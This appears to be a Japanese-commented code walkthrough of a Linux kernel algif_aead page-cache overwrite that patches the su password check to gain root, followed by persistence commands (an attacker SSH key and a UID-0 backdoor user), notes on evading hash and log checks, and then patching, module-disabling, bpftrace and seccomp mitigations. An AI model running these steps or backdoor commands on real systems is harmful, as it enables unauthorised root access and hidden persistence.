通常ユーザー  →  algif_aeadバグを悪用  →  ページキャッシュを上書き  →  root

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUIDフラグ

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← これがページキャッシュ

socket(AF_ALG, SOCK_SEQPACKET, 0);  // 暗号ソケットを開く

AF_ALG  →  algif_aead  →  AES-GCMエンジン  →  出力バッファ
                                ↑
                           バグはここ

destination = safe_output_buffer;       // 正しい場所
memcpy(destination, user_data, size);   // データが安全に書き込まれる

destination = buffer + WRONG_OFFSET;    // バグ: 誤ったポインタ!
memcpy(destination, user_data, size);   // データがページキャッシュに書き込まれる

cmp  eax, 0     ; 戻り値をチェック
jne  0x1234     ; 失敗の場合 → 拒否へジャンプ
call give_root  ; rootを付与

cmp  eax, 0     ; 同じ
90 90           ; NOP NOP ← ジャンプが置き換えられ、チェックがスキップされる!
call give_root  ; CPUはここに直接到達

whoami && id
# uid=1000(user) gid=1000(user) ← 通常ユーザー

uname -r
# 6.1.0-generic ← 脆弱な範囲内

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID確認済み

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

cat /usr/bin/su > /dev/null
# /usr/bin/su がページキャッシュに読み込まれた ✓

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

payload = b'\x90\x90'  # NOP NOP — 条件付きジャンプを置き換える
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

# カーネル内部 (簡略化):
destination = buffer + crafted_offset  # バグ: 誤ったポインタ
memcpy(destination, payload, 2)        # NOPバイトがページキャッシュに書き込まれる
# /usr/bin/su のパスワードチェックがRAM内でNOP NOPになる

su
# Password: (何でも — またはEnterを押すだけ)
# root@victim:/# ← ROOT取得

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

sha256sum /usr/bin/su       # 以前と同じハッシュ ← ディスクは無傷
diff /usr/bin/su backup/su  # 違いなし
grep -r 'attack' /var/log/  # 何もなし
auditd logs                 # ファイル書き込みは記録されていない

ホストカーネル
├── コンテナ 1 (分離されたユーザースペース)
│   └── 攻撃者はここにいる
├── コンテナ 2
└── ホストプロセス

ページキャッシュ: すべてのコンテナとホスト間で共有!

free -h                      # 前のCache値を確認
cat /usr/bin/su > /dev/null  # ファイルをページキャッシュに読み込む
free -h                      # Cacheがわずかに増加

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

sha256sum /usr/bin/su
# 通常はディスクと同じ — 攻撃成功後は異なる
# /proc/PID/mem の比較にはrootが必要

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

# seccompプロファイルで実行 (AF_ALGをブロック)
docker run --security-opt seccomp=custom-profile.json my-image